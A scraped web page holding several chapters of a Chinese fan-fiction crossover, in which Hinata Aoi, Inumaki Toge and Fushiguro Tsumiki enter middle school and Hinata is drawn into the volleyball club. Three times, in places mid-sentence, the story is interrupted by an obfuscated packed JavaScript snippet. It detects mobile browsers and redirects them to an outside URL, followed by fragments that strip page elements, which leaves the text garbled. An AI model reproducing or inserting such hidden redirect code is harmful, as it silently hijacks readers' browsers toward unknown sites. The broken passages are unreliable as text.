希望看在甜食的面子上,五条悟可以平复一下心情……也别追究他监督反馈不力的事情。 因此开学前五条悟和狗卷棘的最后一次会面,他双手插兜翘着二郎腿,坐在灰原雄面包店的沙发上盯着狗卷棘看了好久,一句话也没说。 那一袋子伴手礼就放在他胳膊边的位置上,也没有拿给狗卷棘的意思。 灰原雄站在吧台后面假装擦杯子,时刻关注那边,担心五条悟控制不住自己一个暴走,把自己的店铺给掀了。 狗卷棘倒是没有什么害怕的情绪,就是被五条悟这么盯着十分的不自在。 这不是他跟五条悟第一次见面。 在他小学刚毕业不久二人就正式见面了。 那时该知道的他的父母也提前都告诉他,他满怀感激与五条悟相见,并且开始在五条悟的看管下进行实战特训。 每次训练他都一丝不苟,想提升自己,也想报答五条悟对自己的恩情。 对于五条悟乖张的性格他也在相处中逐渐摸清……也从来没有见过像现在这么严肃的样子。 胡思乱想,琢磨不清原因许久,五条悟终于开口了: “小葵真是个很不错的孩子呢,长的好看,学习也好,性格也好。” 狗卷棘闻言发自内心地点头表示认同,但是不明白五条悟为什么要在这个时候提到日向葵。 “听说棘你对小葵很上心啊,是为了报答她救过你一命吗?” 狗卷棘在迟疑中点头点到一半,被五条悟的下一句话骇住了。 “……还是说你看上了她的能力,想借用一下让自己活得更轻松呢?” 狗卷棘瞬间面无血色,仰着脖子瞪圆眼睛看向五条悟冷酷如刀削般的面庞,而后边摆手边拼命摇头,想张嘴解释却又咬紧下唇克制住自己说话的欲望。 下马威给到了,五条悟扶了下墨镜,叉开腿,语气一松: “嘛,我当然是信任棘的,就是不知道小葵是怎么想的~” “她考上的中学我也会安排你进去。” “但是……” 五条悟拽过身边的袋子,提放到桌面上轻点两下: “你们啊,不是一个世界的人,注定会分开。” 29. 初中篇 狗卷棘清楚五条悟在敲打自己。 他当然知道两个人会分开,而且他在小学毕业的时候就已经做好了要分开的准备。 可他在意日向葵到底是怎么看待他的。 即使是要分开,或许是再也不见,他也忍受不了自己在日向葵心中的形象有任何的污点。 仔细回想当初推动自己一定要跟日向葵交好的一系列心理活动,狗卷棘努力找借口为自己的动机开脱,却无功而返。 当时他有牵扯到日向葵被诅咒师绑架的愧疚,有日向葵救了自己从咒灵身旁逃出生天的感恩……也有被日向葵的独特能力所吸引的惊艳与期待。 这份期待要比愧疚和感恩来得更早,在他第一次跟女孩拐角相撞的时候就落地生芽,才导致后续一连串事情的发生。 与日向葵同班后,这几种情感在他的心中是并行的,蜿蜒缠绕拧成同一股绳子,让他有足够强劲的动力和耐心去无条件亲近日向葵。 所以他没有办法说自己的心思纯净,没有抱着任何自私的目的去接近女孩。 还记得刚开始日向葵对他不理不睬……是不是因为觉得他有所图谋才这么明显的不愿意搭理他? 之后关系从缓和到变得要好……也是他死缠烂打下不得已的妥协? ……或许从来都没有要好过,一直是他自欺欺人,自以为是,把日向葵的礼貌回应当成是二人关系好的证明。 狗卷棘无法接受自己是一个如此恶劣的人,以报恩为名义交朋友却还想着利用,更无法接受自己大脑里蹦出来的这些可能性。 他沉浸在自己纷繁纠乱的思绪中,也模糊了这些日子对于日向葵的了解。 以日向葵的性格,如果甄别出对面是怀着不纯的目的接近,就算不至于厌恶,也不会因为对面没底线的示好而想着回馈。 没有礼尚往来,只会觉得对面得不到想要的也是活该。 所以那枚主动递出的纽扣和那一大袋子的伴手礼已经是问题的答案,当下的狗卷棘却想不明白这一点,依旧在自我怀疑中无法自拔。 他丧失了与日向葵对话的胆量,龟缩在壳子里梳理自己越缠越乱的想法。 入学典礼结束,家长们陆续离开,学生们到教室里迎接自己的开学第一课。 日向葵走的不快,等到了教室门口,一半多的位置已经被同学占上了。 下意识往自己常坐的位置——靠窗最后一排看了一眼,一个纯黑色的双肩书包斜着躺倒压在书桌上。 同时忽略不了的是与那个书包当同桌的白毛刺猬。 双臂放在课桌上,低着头,一笔一划地在教科书上写名字,然后翻开第三页开始逐字观看,有一种格格不入的用功。 教科书拿回家好几天不知道写名字,在大家都在等班主任的时候把教科书拿出来看,搭配上狗卷棘那张没有表情就显得冷酷睿智的脸—— 同学们都不清楚他是真好学还是真装货。 日向葵也没什么好客气的,与他人错身借过,走到那个座位,一手拉开椅子,一手拿起书包往隔壁桌边一放。 男孩没有抬头,自然而然地接过书包挂在桌边的挂钩上,然后接着翻看一个字也读不进大脑的教科书。 日向葵没忍住瞥了他一眼。 闹别扭都不忘了帮她占位置。 要不是真的喜欢这个地方,日向葵可能会为了不跟狗卷棘当同桌,随便选个别的座位。 也不知道到时候狗卷会不会找她隔壁的同学换座位,之后还拿胳膊挡着脸,一副不愿意跟她沟通的样子。 总不能是伴手礼送出问题来了吧? 有什么他忌讳的东西? 日向葵决定不再浪费自己的大脑细胞,忽视心底的不愉快,乐观地想这样也不错,虽然不知道是什么原因,但是慢慢的两人可能就变得生疏了。 在这样“美好”的期盼中,日向葵都没发现伏黑津美纪跟别人换了位置,坐在了她的前桌。 都选好位置稍等片刻,班主任身着职业套装,抱着名册,踩着矮跟,走上讲台。 “大家好,我是你们的班主任——千叶爱理。”粉笔流畅洒脱地在黑板上书写出姓名。 “……今后的三年希望与大家共度一段精彩、青春的时光!” “接下来就从靠近走廊的那一列开始,‘S’形来做一下自我介绍吧~” 第一个站起来的同学显然没做什么准备,简单说了名字、爱好后就不知道该说点什么了,憋了几秒钟把自己家地址报了一遍,在同学们的掌声与笑声中红着脸结束了自我介绍。 一个接着一个,轮到狗卷棘和日向葵,愉悦的气氛戛然而止。 连续两个拿着笔记本自我介绍的语言障碍人士,把在座的学生们整不会了。 以前十几年的人生中也没遇到过的残障人士,如今一来就是两个。 各比各的好看,各比各的从容,就连怜悯的情绪同学们也生不出来,一时不知道该作出什么表情,脸上都有些僵硬或扭曲。 没用上班主任调和气氛,伏黑津美纪抬手鼓掌带动其他人,让场面不变得那么尴尬。 在日向葵介绍完后她也没什么停顿地续上自己的自我介绍,让氛围回归正常。 班主任满意地点点头,在自我介绍全部结束之后也没有特别把狗卷棘和日向葵的名字点出来让大家额外关照。 慷慨激昂地讲了一段学前动员,把学校的历史与取得过的荣誉全方位地讲解,又大概提了一嘴校园守则,在学生们的心里撒下荣誉感和凝聚力的种子,这才开始上课。 午休时间,赶在富有善心的同学们过来约饭之前,日向葵拿着便当盒走出了教室。 伏黑津美纪半扭过来上半身没来得及开口,只能目送着日向葵离开。 坐在她前座的正是那位活泼的女生——樱井桃子,也是转过身体来约津美纪一起去食堂。 “……别看啦,看了也不会回来的。”樱井小声嘟囔,没敢让津美纪听见。 凭借她多年与人打交道的经验,日向葵是个内核极其稳定的人,完全没有因为自己口不能言而自卑的感觉。 甚至在不动声色地排斥其他人。 课间找她聊天的几位都是说几句就散了,不仅仅是因为刚认识没有共同话题,是日向葵根本也没打算让话题进行下去! 樱井桃子把一切看在眼里,十分相信自己的判断。 隔壁叫狗卷棘的帅哥也不能说话,还跟两个男生一直聊到上课呢。 日向葵绝对是故意的! 樱井桃子觉得日向葵有些高傲的疏离,对她没什么好感。 不好相处就是不好相处,身体有缺陷也不是能让人什么都体谅的理由。 尤其是她看中的未来的挚交好友——伏黑津美纪对这两位语言障碍人士格外关心。 她倾心于津美纪的温柔与善良,就不想看到津美纪的付出被无视或辜负。 ……还是要从津美纪入手,劝劝她不要对谁都那么仁心。 樱井桃子一副过来人的姿态,把循循善诱自己未来的挚友安排上了日程。 * 日向葵拎着自己的便当盒一节节台阶地向上走。 这所学校的天台不知道是什么情况,她想去看看能不能继续把天台与走廊的连接当成私人午餐圣地。 走到顶层,天台的门是开着的,不用转动把手,开了一半的大门可以直接走进天台。 春季徐徐的风仍旧带着寒意,吹乱了日向葵的发丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380302|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天台上没有其他人,但是初二初三的前辈们还没有开学,日向葵也分析不出来天台是一直开放,还是正好被她赶上了没有封锁的时候,可以感受到独处的惬意。 穿过拦网的缝隙可以看到楼下以及校园外排列整齐的樱花树。在高处观赏有一种跳脱出世俗的美丽。 站着吹了会儿风,呼吸几口新鲜空气,日向葵没有打开便当盒享用自己的午餐。 对她来说天台还是有点寒冷,春天吹往夏天的风感觉比秋天迎接冬天的还要冷一些。 转身回到走廊里,日向葵与靠墙坐在地面上的狗卷棘正对上面。 男孩一腿弯曲一腿伸直,饭盒放在大腿上敞开着,一手拿着饭团,一手手腕挂着口罩,胳膊放在曲起的膝盖上,眼神发散,嘴角还粘着洁白的饭粒。 颓废的宛如刚打完架的不良少年般的坐姿让日向葵不禁皱眉。 突然回来的日向葵也把狗卷棘吓得忘了咀嚼,手忙脚乱的不知道应该先收拾哪里。 想象中的“美好”结束了。 除非是双目失明,日向葵没想再假装看不见。 男孩紫色的瞳孔中正在落下一场大雨,雪白的睫毛轻颤,又低垂下眼眸,双手把饭盒紧紧抓在手里,忐忑地跪坐在地上。 明明是很正常的坐姿,日向葵偏偏看出来一种负荆请罪的意味。 没有控制自己,她走到正襟危坐的狗卷棘面前,抬手揉乱了男孩看着坚硬,实则柔软如棉絮的发丝。 就是这小子打乱了她干净的人际关系网,怎么避也避不开,逼得她一次次妥协让步……日向葵的手不由得带上泄愤的力道。 但还是没舍得多使劲儿,怕把本就不聪明的脑袋揉坏了。 “一起吧。” “……嗯!” 从第一次让步开始,她就无法再对狗卷棘狠心。 “你喜欢这所中学吗?” 狗卷棘看见后立刻做出回应: “喜欢!”能跟你一起上学哪里都喜欢。 “……你知道我要来这里上学?” “知道……”涉及到五条悟,狗卷棘多了点谨慎。 “……是灰原哥告诉我的。”这样说没错吧? 狗卷偷偷观察日向葵的神色,担心她不相信。 五条悟没说日向葵不知道他的存在,是灰原雄提醒他不要说漏嘴。 某御三家现任家主之一发动好几个咒术师暗地里保护一个“普通人”,是个咒术界的人知道了都要好奇一下。 这件事还是知道的人越少越好,包括当事人。 狗卷棘的慎重没错,日向葵的确是在试探狗卷棘到这所学校就读的理由。 她不认为自己值得狗卷一家付出很多,就为了能跟她待在同一个班级。 但看到狗卷棘闹脾气还要跟在自己身后的样子,联想到自己的能力确实是缓解男孩“症状”的良药,又感觉狗卷父母砸钱把狗卷塞进来也不是没有道理。 给心中的疑惑找了答案,日向葵接受自己千算万算算漏了人家的执着与财力,不知不觉吃完了手中的便当。 狗卷棘还没从自己的纠结里走出来,嘴却不受大脑的管教,可怜巴巴地又开始话唠自己假期的经历。 好在还知道遮掩住跟五条悟等人相关的,含糊过去了。 日向葵在听,提炼出来重点。 “你以后是每天晚上都要去特训吗?” “……几乎是。” “放学后就去?” ”……对。” 日向葵点点头,又囫囵地摸了一把狗卷棘的头发表示安慰,心下却放松不少。 感觉自己远离狗卷棘的计划还没有完全破产。 这日子还是越过越有盼头了。 30. 初中篇 在学生们对崭新校园生活紧锣密鼓的适应中,晃眼就到了放学的时间,狗卷棘真的如他所说的那样收拾好书包马不停蹄地走了。 纯黑的轿车卡着点儿在学校附近避开人群的地方等待,狗卷棘不好意思多耽误对方,再有不舍也只能匆匆与日向葵告别离开。 冷不丁被如此干脆地抛下,日向葵感觉身边突然空出来一块,手指放在书包的搭扣上没有下一步动作,大脑莫名宕机片刻。 前座的伏黑津美纪欲言又止,正是长身体的时候,她还要赶回家给弟弟准备晚饭,也就没有再尝试跟日向葵说话,跟樱井一起离开。 教室里的人越来越少,日向葵回神后也不着急回家,打算独自绕着学校逛一圈,熟悉一下各个地方。 尤其是体育馆的位置要好好找一下。 她维持了好多年的习惯,上学日总会先打一会儿排球再去训练营跑酷,今天她两件事一件也没完成,没动起来的身体不禁有些空虚。 小学的时候体育馆不是那种能给体育强校供给苗子的培养皿,就只是学生们自由活动玩耍的区域。 有打篮球追着球跑的,打乒乓球跟拦网干起来的,打羽毛球用力到把球拍甩飞的……还有日向葵这位永远都在一个人垫排球的固定npc,每个上学日的傍晚在体育馆的角落等待刷新。 这个小学聚集着卧龙凤雏,都是凭着兴趣在玩,没有专门的人指导。 至于这个中学,日向葵知道这里的社团活动开展的很不错,尤其是体育类的社团,在县里都是排得上名次的。 但是越壮大越强盛,往往就伴随着越完备的规则体系,不知道还有没有自由自在的场所能在其下存在。 路过无数个或宽或窄的门,门牌清晰明了,不需要透过密封的窗户向里面窥探猜测。 即将走到下一个门前,一阵运动鞋与地板摩擦的声音钻进她的耳朵。 可能是因为不能说话,日向葵的其他感官要更灵敏些,凭借这微弱且断断续续的声音,也成功找到了声响的源头—— 女子排球社。 可能这就是缘分吧,日向葵不免感慨。 众多运动类社团中,碰巧被她听到的正好是打排球的社团。 窗户的里层被一根根栏杆分割,斜阳的光亮从玻璃上反射把窗户做成了不透明,也让里面的情形不容易被人分辨,日向葵只能通过半开的大门向里面打量。 能看到的场景有限,一个个女生排列站好,要么是利落的短发,要么是把发丝高高束起,春寒料峭中穿着短袖热血沸腾,蓄势待发后助跑,起跳,挥舞手臂,重重拍下! 一个接着一个的扣球都带着要砸穿地板的气势。 看不见的地方应当是站着教练或者队长一类的人物,一句接一句的“再高一点”、“Don''t mind”、“跑起来”、“Nice!”。 铿锵有力的语调,即使看不见也能想象出对方交叠双臂,叉着腿,目光如炬的样子。 日向葵的小脑袋被吸引的更往里探了一些。 还没开学就能来到学校里如此刻苦地练习,不愧是经历过无数赛事洗礼的团队,也不愧是身处于以运动社团出名的强校。 看到如此训练有素的team不免赞叹,但是这个场馆也当即被日向葵打上“不能愉快玩耍”的标签。 一整筐的排球由多到少,激昂的情绪与紧密的节奏让她有点畏怯。 像是穿着睡衣正在掰着手指算口算题却被一把拉进灯球闪耀的舞池一样格格不入,音响再怎么鼓噪也让她融入不进去,简而言之就是这里不是她该来的地方。 日向葵把头缩回去要转身离开,没发现自己已经被某位扣完球回来排队等待下一轮的学姐看见了,刚迈出去一步,就被人拽住了校服的后领。 “别走啊,进来玩啊!” ……这是什么奇怪的台词? 跟着日向野子看了好多狗血爱情剧的日向葵控制不住地想歪了。 反思一秒,她扭过身子正对上学姐大汗淋漓的笑颜,另有几颗毛茸茸的脑袋从门缝处依次排列探出。 “是刚入学的学妹吧~” “感兴趣的话要不要进来玩一玩?” 日向葵已经长得比较高了,但被整整高她一个头的学姐盯着也是很有压力。 再加上门口虎视眈眈的几位,她有种即将掉入狼窝的感觉,还没等她掏出笔记本拒绝就被拉扯着走进了体育馆。 “喜欢打排球吗?” “以前有打过排球吗?” ”参加过比赛吗,喜欢打什么位置?” …… 一个个问题向日向葵砸过来也没给她回复的间隙,也就错失了无数次发现她根本不能说话的时机。 日向葵倒是想解释,但一直也没能掏出笔记本。 一个人拽着她说话就已经营造出了七嘴八舌的感觉,被拉进体育馆之后更是有一群人在转头看她,用眼睛表达惊奇和喜悦。 感觉自己是隔着玻璃被观察的珍稀动物,日向葵只能挂上尴尬但不失礼貌的微笑,被迫化身成为不长嘴的虐文小说女主,接受周围发生的一切。 “干什么呢?” 那个威严声音的主人也走过来了,出乎意料是个娃娃脸的长相,看着装应该是排球队的队长。 大脑自主分析了一下前因后果,她轻敲那位学姐的额头: “吓到学妹怎么办!” 下一句对着日向葵,和颜悦色道:“到这边来有什么事吗?” “是有对排球感兴趣吗?” 如此贴心的话语一出,日向葵放下的心又悬起来一半。 对面一直在打探她对于排球的感觉,应该是误会了,以为她有加入排球社的意图。 被冷落的笔记本终于派上用场,日向葵单手掰开笔帽,油墨浸润纸张的纤维留下顽固的印记,下一秒,一套折叠整齐的运动服被举到她面前。 “不介意的话穿这一套吧。” 笔尖顿在纸上,油墨穿透到下一层也没功夫去顾及,日向葵有些呆愣地看着拿着运动服突然窜过来的齐刘海学姐。 我是该……接下吗? 然而她保持着握笔的姿势,没有下一步动作。 双手举着衣服的齐刘海学姐显然是个腼腆的性格,说话细声细气的,手中的衣服没有被第一时间接下,手臂就有些瑟缩,要收回但还没收回。 这是她从背包里拿出来的刚洗好的运动服,是她还没来得及放进更衣室的备用装,看见学妹一身制服的样子一定不方便运动才自作主张地递上去。 两个人的身形差不多相当,正合适学妹换了衣服过来打排球。 穿着规矩端正的校服怎么可以运动呢?里面那一层衬衫都不吸汗! 齐刘海学姐已经默认了日向葵是要打排球的,以为学妹跟自己一样容易害羞,心中不免升起一种庇护弱小后辈的责任感,原本要回缩的手臂又往前伸了伸。 把日向葵拽进体育馆里的那位学姐见状欣赏地狠狠拍了拍齐刘海学姐的肩膀,把人家差点拍成高低肩。 她只是想让学妹进来了解一下,没想到齐刘海衣服一拿,直接让人换上展示一下。 这招术高啊,太高了! 她要为一直觉得这位队友脑回路不太正常而道歉!这事儿也办得太在点子上了! 眼见旁边站着的队长没有反对的意思,她从齐刘海的手里拿过运动服塞进日向葵怀里。 “快,我带你去。” “我们的换衣室在那边~” 不管是不是个好苗子,不管用什么手段,先把人留下来才是王道! 跟男子类社团不一样,她们女生运动社团可都是嗷嗷待哺呢! 要是客气了一下导致人才流失到其他运动社团那里,那才是哭都没地方哭去。 日向葵被赶鸭子上架,一把被推进更衣室,门也贴心地带上了。 手里拿着纸笔,怀里抱着短袖长裤,身边空无一人却被寄予了无数看不见摸不着的期冀,又感觉是被命运推着突然踩空摔了一跤。 她反复确认自己应该是正常入学的吧? 这一届的学生也有几百人,这些学姐们怎么跟几百年没见过新人一样……饥渴? 字不给她时间写,手语不给她机会打,她这么长时间没动嘴说过一句话也不好奇一下,脑子里就是“排球”“排球”“排球”…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380303|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还蛮可爱的。 日向葵的思绪从刚才风风火火的节奏中走出来,没忍住弯着眼眸笑了。 “排球”是很不错,大家都是为了打排球才聚集到这里的,只有主攻手、副攻手、二传手、自由人……替补A、替补B……没有姓甚名谁,没有来跟她认识、来跟她交朋友的。 大家都是“排友”罢了。 如此纯粹的空间让日向葵紧绷了一天的神经缓和下来,把纸笔揣回兜里,抖开手中的衣服换上。 来都来了那就打一会儿,反正学姐早晚也会发现她不能说话,不能上赛场。 * 排球队的训练仍在继续。 日向葵回到体育馆后只有那位娃娃脸队长过来接应她,其他学姐只敢远远往这边瞥一眼,在队长发现之前急速转回头,应当是因为之前的鲁莽唐突被队长教育了一顿。 队长也没多说什么,单手从篮子里捞出一个排球递给日向葵: “去那边玩吧。” 日向葵接过排球半鞠躬感谢,走到队长示意的角落里,指腹摩挲着排球表面唤醒自己的手感。 此时任何与排球有关的声音都是最好的纯音乐,日向葵毫不费力地在这陌生的环境中找到自己往常的状态,眼睛里只剩下那颗上下跃动的排球。 身上干净的衣物有淡淡的洗衣液的清香,却缺少一根头绳能让她优渥的及腰长发乖巧地呆在脑后。 日向葵没有受到影响,扬起的脸庞摆脱鬓边的发丝,多年的肌肉记忆可以让她几乎一步不挪垫几百下排球。 发丝只是上下轻颤没有乱飞,但就算是遮挡住视线她也能根据感觉判断落点,稳稳垫起排球。 垫了100下整,日向葵身上也生出一层薄汗,放松肌肉让排球落回怀中,这才注意到队长不在体育馆内,有几个学姐记吃不记打,又围到她身边。 “这个控球能力可以啊!” ”这个专注程度也很不错呦~” “身高中规中矩吧,不知道扣球和拦网怎么样~” 几个人自以为小声地讨论,实则一句不漏被日向葵的耳朵收音。 果然是想让她加入排球社。 如果是加入社团的话,日向葵更偏向于加入跑酷社团来让自己身体的各个关节不至于生锈,而打排球不过是她的习惯,是她静心的手段,没想过要跟别人合作去分位置打比赛。 并且她不觉得自己排球打得有多好,除了垫球托球其余一窍不通,连比赛的规则都没有特别去了解过。 自己手持残疾证也不能参加正常的专业赛事,进了排球社只能享受爱好,不能发展爱好……更何况她也不明白打排球到底算不算她的爱好。 日向葵也理解学姐们求贤若渴的心态,但是希望越大失望越大,还不如现在就斩断她们的念想。 把球夹在腋下,确定学姐们都在关注自己,一大段流畅的手语宣泄而出,把几位学姐震住了。 没什么需要学姐们看懂的,日向葵就是纯纯在炫技,用观感告诉对面“我不能说话,我会手语,我是残障人士”,还有“我的加入对你们来说一文不值”。 几位认定她只是内向,被她们的热情吓到不敢说话的学姐CPU烧了,处理不了这个世界上竟然还有哑巴的存在。 给学姐留下思考的空间,日向葵打算去刚才路过的售卖机买几瓶水回来感谢一下学姐们的热心招待。 得买几瓶热饮,让学姐们速冻的心脏回温。 走得太急忘记了放下腋下的排球,日向葵只好单手抱着,另一只手在售卖机上犹豫不决。 注意到有一道修长的身影走近,日向葵让开了位置示意对方先买。 ”噢,感谢。” 男生也没有客气,投币选了一盒牛奶蹲下取回,视线在排球上转了几圈,吐出一句“再见”离开了。 日向葵也收回放在男生身上的目光,重新站到售卖机面前,心里感叹前辈们真的是太努力了。 这位男生也穿着运动套装,而且日向葵入学前在学校宣传册上有见过他的脸。 没记错的话是男子排球社的王牌选手。 名字是—— 影山飞雄。 31. 初中篇 上一个离家远的中学能有什么好处? 日向葵脱离了日向野子的监管,也不用担心有老师或者学生向日向女士那里递小话说她不合群,把不想交朋友表示得明了,靠实力给自己打上不好接触的标签。 不是戴上高冷面具,而是像池塘里的泥鳅一样令人把握不住,每一次接近都会被轻巧地躲开,打太极一般看似碰到人了,力气却被卸的半点不剩,跟空气殊死搏斗,却连她的衣角都没摸到。 感受最直观当属伏黑津美纪。 她总在尝试打破自己跟日向葵中间隔着的墙,但是她近一步,日向葵退十步,实在是找不到突破的方法,只好默默关注,可是心中的担忧却与日俱增。 不主动跟别人认识交朋友怎么能行呢? 身为群居动物,这么孤僻喜欢独处,以后怎么在人群当中生存呢? 现在这个大家都不是很熟悉的时候正是形成班级内部小团体的重要时机。 伏黑津美纪也不是有多推崇这种关系,但是小组作业不用每次纠结找谁搭档,不想去便利店就有人帮忙代买,课间从学海中抬头有人一起聊八卦放松,周末也能约两三好友出门吃饭逛街……这些普通学生的日常就是从这种关系中衍生来的。 而日向葵除了习惯狗卷棘的靠近,对谁都很客气讲礼貌,都是一副不愿意多聊的样子,很让津美纪为之头疼。 虽然朋友贵精不贵多,但是只有一个人也太少了些吧? 其实津美纪不是一个喜欢多管闲事的人,是一个很有包容心的人。 无论对面是什么样的性格,她都信奉“存在即合理”、“人性本善”,以开放的心态看待事物并且都友善对待。 但是对于日向葵她却很自然地代入了家人的视角,甚至可以说是老母亲的视角,不自禁操心这操心那,唯恐孩子不小心长歪了以后要吃亏。 这份独属于日向葵的特别关注当然也被在意她的樱井桃子发现了。 她还没有跟津美纪把友谊发展到掏心掏肺的程度,也不好苦口婆心地去劝告人家不要执着于做无用功。 旁敲侧击的提点也没有被领情,还差点被津美纪发现她不喜欢日向葵的事实,反向教育她一顿。 不清楚津美纪和日向葵之间隐藏的联系,樱井只能把津美纪对日向葵格外的上心解释成圣母心的发作。 脑筋一转,认为津美纪是脑补过头,把日向葵当作是身体残疾但自尊心强盛,不愿意别人来怜悯自己,所以把自己包装的很独立自强的小可怜虫,才会如此大发善心地非要凑上去交朋友。 她都快被津美纪的圣母心劝退了。 自己道德绑架自己也太愚蠢了些……看着现在的津美纪就像是看见了以前的自己。 她已经改变了! 压下心中的不赞同,再不交朋友她就没机会把友谊发展成闺蜜情谊了,自己选的人就算被气到咬碎牙齿也要往肚子里咽! 樱井桃子执拗地不愿意放手,必须要跟津美纪发展成挚友……实在不行就逼日向葵跟津美纪交朋友!……是可行的吧? 苦恼当中的樱井没有发现自己认定的挚友在日向葵看不到的地方偷偷给狗卷棘扔了张纸条。 角度隐蔽,动作迅速,纸条团成球精准砸到狗卷棘的鞋面上,微乎其微的力道也引起了男生的注意。 「午饭后请跟我聊聊吧。」 修长的手指重新把纸条团回掌心,狗卷棘好像天然就知道要避开日向葵的视线,轻巧地对着津美纪眨了下眼表示同意,然后继续低头研究日向葵给他拆分的做题步骤,当作无事发生。 津美纪接收到信号也侧回头继续跟樱井聊天,没用几句话就让樱井桃子暂时抛下烦恼,天马行空地敞开谈论各种各样的话题,直到上课铃打响了还意犹未尽。 * 两个用上厕所当借口的“特工”,在教学楼外树荫下隐蔽的长椅附近接头了。 看似有默契的两个人“幽会”时却都显得很是拘谨。 一个是一起接受特训的未来学弟的姐姐,一个是名义上的养父手底下训练的学生,是都知道对面的存在,但是根本不熟悉。 没有坐在长椅上促膝长谈,二人选择在旁边大楼的拐角处一人靠着一面墙站着,自己看着自己身边的方向,时刻注意有没有其他人发现他们在这里碰头。 「有什么事情吗?」 笔记本从墙的那边伸过来,津美纪抬手捏住本子的一角想把它拿过来写下回复,却没拽动,这才反应过来自己是可以直接说话的。 “……日向同学有点太粘你了,这样不好。” ?????? 狗卷棘手里的圆珠笔差点惊得落到水泥地上摔断色,十分好奇津美纪是从哪里得出的结论,心里还带着几分窃喜。 原来我和日向在别人眼里的关系有这么好吗?! 还以为是五条悟那里有什么找津美纪代为传达的事情,没想到是来帮他做梦的。 被口罩遮挡的嘴角抑制不住要翘到天上去。 字迹飞舞: 「为什么会这么说?」 狗卷棘朝着津美纪声音的位置微侧着头,身体也跟着倾斜,期待着津美纪进一步的“夸奖”。 不负所望,津美纪开口: “你没发现日向同学只跟你玩吗?” “别人邀请她上课合作,她就示意要跟你一起;别人找她去操场转转,她都摆手拒绝示意要看着你做题;别人问她要不要一起吃午饭,她表示早就约了你……又不是所有的事情都只能两个人做!” “除了你,她就没跟别人用心相处过!” 女生刻意调小音量也不妨碍她越说越激动,流露出沉稳面孔下的稚嫩与活力。 她口中的“别人”一开始还是有别人的,后来就只剩她自己了,心情不可谓不郁闷。 狗卷棘一副状况外的样子,一时没想到该怎么回复,完全没有被日向葵当作挡箭牌来谢绝别人的自觉。 在小学的时候他是转校生,班级里随便一个人对于他来说都是跟日向葵相处的大前辈,处处请教,也处处矮人一头。 升入初中后他在这方面就比所有人都更有经验了,自己成功上位,但是失去了小学那一叠的参考答案。 现在听津美纪讲自己独占了日向葵的朋友席位……也是很难跟津美纪共情,先让他独自开心一下~ 好像日向葵现在只把他一个人当朋友欸~ 真的是他在拥有这份与众不同吗? 狗卷棘一边怀疑一边抚摸自己的胸膛感受加速的心跳,满分十分自己也相信了八分。 “……狗卷君?”等不到回应,津美纪出声询问。 男孩回过神紧赶慢赶,修修改改,逐渐潦草的字迹写出来一句让津美纪无语到皱眉的话—— 「没有吧?」 这是在怀疑她的分析,还是在谦虚说日向葵没有对自己如此优待? 也是第一次直观的感受到世俗认定的属于男孩子的粗线条,连日向葵这么明显的冷淡排外都没有发现。 从弟弟的只言片语中,她以为狗卷棘是一个虽然喜欢恶作剧但是关键时刻很靠谱的人……是这件事情对于他来说不够关键吗? 顺带一提,从五条悟滔滔不绝炫耀孩子的长篇大论里,她一直以为日向葵是一个尊师重道、成绩拔尖、温润稳重又朝气蓬勃的人……这个假期是发生了什么事情吗,对人的改造如此之大? 这几个词语的含金量暂且不论,但是能被这几个词语形容的人,怎么也不该是如今这个根本不愿意跟同学们深入相处的人吧? 与想象中的形象差别过大,津美纪没有因为屡次被日向葵婉拒而羞恼,只是忍不住关心、忧虑日向葵的心理健康。 这边刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380304|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被女生偷偷在心里吐槽的狗卷棘也是经过深思熟虑才写下的答案,他是真的不觉得自己有被日向葵特殊对待到这么严重的程度。 凭厚脸皮得来的友情,又经过五条悟的敲打,他还是对自己有自知之明的。 现在不是很正常吗?日向在小学的时候也是这个样子的啊? 从来不主动找人闲聊,安静地待在自己的小世界里,但是这样也不妨碍别人去找她解题,找她聊闲,找她倾诉心事……好吧,都是植野直花在做这些事情,顶多再算上个川井未希。 可是当时谁也没有觉得日向葵不合群,无论对她是什么样的看法和评价,说起来总是透着仰慕,就像固定好的从来不断电的灯泡,吸引周围的飞蛾绕着转,然后趴在玻璃罩上触及不到里面的光亮。 不只是照亮一屋的光明,日向葵在狗卷棘的心中耀眼到是太阳。 自己就能发光,看见了就感觉身上熨帖,暖融融的,而且那可是太阳,能看到就足够了,想要摸到还得是他这种皮厚的,要不还没等接近就自焚了。 日向葵想交朋友也好,不想交朋友也罢,都有她自己的道理,他狗卷棘全部无条件支持。 对于日向葵的魅力他也是很有信心的,优异的成绩,出色的运动神经,再叠加出众的相貌,这三点足矣霸占学校新闻的头版头条,成为校园偶像。 